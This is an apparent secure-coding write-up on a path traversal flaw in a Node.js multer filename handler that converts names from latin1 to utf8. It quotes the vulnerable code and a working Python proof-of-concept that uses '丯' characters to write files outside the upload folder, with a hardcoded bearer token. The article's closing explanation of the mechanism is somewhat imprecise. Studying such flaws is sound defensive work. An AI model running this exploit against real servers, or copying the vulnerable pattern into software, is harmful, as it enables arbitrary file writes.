Weak Multer File Name Manipulation
The multer
library is a popular middleware for developers to install and use in order to handle file uploads in Node.js applications. It’s mostly popular as a file upload handler component in Express applications and the NestJS web framework.
The library provides a way to configure the file upload handling to specify the destination directory and the file name as some of the optional overrides that developers can use.
Weak Multer File Name Manipulation
In the following example (taken from a real-world project), the developer is providing function callback handlers that override the destination
and filename
properties of the multer
configuration object:
const multer = require("multer");const path = require("path");const fs = require("fs");const { v4 } = require("uuid");
/** * Handle File uploads for auto-uploading. * Mostly used for internal GUI/API uploads. */const fileUploadStorage = multer.diskStorage({ destination: function (_, __, cb) { const uploadOutput = process.env.NODE_ENV === "development" ? path.resolve(__dirname, `../../../collector/hotdir`) : path.resolve(process.env.STORAGE_DIR, `../../collector/hotdir`); cb(null, uploadOutput); }, filename: function (_, file, cb) { file.originalname = Buffer.from(file.originalname, "latin1").toString( "utf8" ); cb(null, file.originalname); },});
What could be the reason to override the filename
property here with the support of latin1
encoding? The developer may have wanted to address the issue of file names that contain characters from other languages that are not English, such as Chinese, Japanese, or Arabic. Then, converting the file name to its utf8
representation to ensure that it is properly stored and interpreted as such using the underlying subsystem (the file system, or elsewhere).
However, this approach introduces a security concern. Consider the following proof-of-concept exploit code in Python:
import requestsfrom urllib.parse import quote
file_content = "12345"file_name = "/tmp/1.txt"headers = { 'Authorization': 'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJvaWN1IiwiaWF0IjoxNzMxMjk0MzEzLCJleHAiOjE3MzM4ODYzMTN9.Dcp6m_uM2IWa-6EgScyAnBHG--nM--iDYamiPKfMDXc',}
url = 'http://localhost:3001/api/system/upload-logo'boundary = '----WebKitFormBoundaryWzBpweyhtRcd9i8R'filename = "..丯..丯..丯..丯..丯..丯..丯..丯..丯..丯..丯..丯..丯"+ file_name.replace('/', '丯')filename_rfc5987 = "UTF-8''{}".format(quote(filename))body = f"--{boundary}\r\n"body += f"Content-Disposition: form-data; name=\"logo\"; filename*={filename_rfc5987}\r\n"body += f"Content-Type: image/png\r\n\r\n"body += f"{file_content}\r\n"body += f"--{boundary}--"
headers['Content-Type'] = f'multipart/form-data; boundary={boundary}'requests.post(url, data=body, headers=headers)
This exploit code sends a POST request to the /api/system/upload-logo
endpoint with a crafted file name that contains the ..
characters. The multer
library will interpret the file name as a path traversal attack and will save the file to the root directory of the server. This happens because the special latin character 丯
is translated to its UTF-8 representation, which is /
and creates a path traversal attack that bypasses the intended file upload directory.